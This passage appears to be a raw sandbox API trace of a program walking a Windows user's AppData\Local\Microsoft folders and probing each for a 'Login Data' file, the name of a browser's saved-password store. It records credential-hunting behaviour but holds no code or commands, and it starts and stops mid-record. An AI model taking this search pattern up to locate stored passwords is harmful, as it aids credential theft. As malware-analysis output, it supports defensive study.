lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee04858, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc5ea402c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xdee04858, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InstallAgent", cAlternateFileName="INSTAL~1")) returned 1 [0201.000] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cfd5892, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x9b374a10, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x9b374a10, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xabb473f3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3c685c43, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x3c685c43, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xdedaa310, ftLastAccessTime.dwHighDateTime=0x1d69a98, ftLastWriteTime.dwLowDateTime=0xdedaa310, ftLastWriteTime.dwHighDateTime=0x1d69a98, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd358a482, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x91e02a2a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x91e02a2a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDrive", cAlternateFileName="")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x827c2c6b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xdc6aa62a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdc6aa62a, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd63cb27, ftCreationTime.dwHighDateTime=0x1d327b2, ftLastAccessTime.dwLowDateTime=0xdd63cb27, ftLastAccessTime.dwHighDateTime=0x1d327b2, ftLastWriteTime.dwLowDateTime=0xdd63cb27, ftLastWriteTime.dwHighDateTime=0x1d327b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PenWorkspace", cAlternateFileName="PENWOR~1")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc7d69cc9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PlayReady", cAlternateFileName="PLAYRE~1")) returned 1 [0201.001] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43ffd581, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x43ffd581, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x43ffd581, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0201.002] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaeec2c4, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xeaeec2c4, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0xeaeec2c4, ftLastWriteTime.dwHighDateTime=0x1d327d4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TaskSchedulerConfig", cAlternateFileName="TASKSC~1")) returned 1 [0201.002] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x75a49245, ftCreationTime.dwHighDateTime=0x1d5d695, ftLastAccessTime.dwLowDateTime=0x75a49245, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x75a49245, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TokenBroker", cAlternateFileName="TOKENB~1")) returned 1 [0201.002] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc7e3414f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfcc934a, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0201.002] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbee6232d, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xbee6232d, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc5d6153f, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio", cAlternateFileName="")) returned 1 [0201.002] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe8b3b09f, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xe8b3b09f, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0201.002] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3e54fc1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc88b17c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd3e54fc1, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~3")) returned 1 [0201.003] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x306b22ce, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x306b22ce, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~2")) returned 1 [0201.003] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 1 [0201.003] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsApps", cAlternateFileName="WINDOW~1")) returned 0 [0201.003] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.003] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.003] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139ad78 [0201.004] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.004] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0201.004] FindNextFileW (in: hFindFile=0x139ad78, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0201.004] FindClose (in: hFindFile=0x139ad78 | out: hFindFile=0x139ad78) returned 1 [0201.004] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.005] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aeb8 [0201.005] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.005] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 1 [0201.005] FindNextFileW (in: hFindFile=0x139aeb8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeff5a990, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xeff5a990, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xeff5a990, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.EXE.log", cAlternateFileName="WINPRO~1.LOG")) returned 0 [0201.005] FindClose (in: hFindFile=0x139aeb8 | out: hFindFile=0x139aeb8) returned 1 [0201.005] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v2.0\\UsageLogs\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.006] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139b178 [0201.006] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x97043032, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.006] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97043032, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x97043032, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ngen.log", cAlternateFileName="")) returned 1 [0201.006] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 1 [0201.006] FindNextFileW (in: hFindFile=0x139b178, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsageLogs", cAlternateFileName="USAGEL~1")) returned 0 [0201.007] FindClose (in: hFindFile=0x139b178 | out: hFindFile=0x139b178) returned 1 [0201.007] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.007] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139af38 [0201.007] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.007] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cc2dd6b, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0x8cc2dd6b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x8cc2dd6b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="mighost.exe.log", cAlternateFileName="MIGHOS~1.LOG")) returned 1 [0201.007] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabc08fe, ftCreationTime.dwHighDateTime=0x1d327d4, ftLastAccessTime.dwLowDateTime=0xfabc08fe, ftLastAccessTime.dwHighDateTime=0x1d327d4, ftLastWriteTime.dwLowDateTime=0x1fb5c0d3, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x9eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mmc.exe.log", cAlternateFileName="MMCEXE~1.LOG")) returned 1 [0201.008] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9719a3bf, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x9719a3bf, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x9719a3bf, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="NGenTask.exe.log", cAlternateFileName="NGENTA~1.LOG")) returned 1 [0201.008] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdea85c64, ftCreationTime.dwHighDateTime=0x1d327c2, ftLastAccessTime.dwLowDateTime=0xdea85c64, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0x1795b444, ftLastWriteTime.dwHighDateTime=0x1d69a99, nFileSizeHigh=0x0, nFileSizeLow=0xe41, dwReserved0=0x0, dwReserved1=0x0, cFileName="powershell.exe.log", cAlternateFileName="POWERS~1.LOG")) returned 1 [0201.008] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 1 [0201.008] FindNextFileW (in: hFindFile=0x139af38, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4005dd03, ftCreationTime.dwHighDateTime=0x1d3272c, ftLastAccessTime.dwLowDateTime=0x4005dd03, ftLastAccessTime.dwHighDateTime=0x1d3272c, ftLastWriteTime.dwLowDateTime=0xe0737866, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x16bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sdiagnhost.exe.log", cAlternateFileName="SDIAGN~1.LOG")) returned 0 [0201.008] FindClose (in: hFindFile=0x139af38 | out: hFindFile=0x139af38) returned 1 [0201.008] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\Login Data", lpFindFileData=0x12feddc | out: lpFindFileData=0x12feddc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0201.009] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\*", lpFindFileData=0x12fed9c | out: lpFindFileData=0x12fed9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x8e0ce49a, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139aff8 [0201.009] FindNextFileW (in: hFindFile=0x139aff8, lpFindFileData=0x12fedb0 | out: lpFindFileData=0x12fedb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8dfe9793, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x8dfe9793, ftLastAccessTime.dwHighDateTime=0x1d336d8, 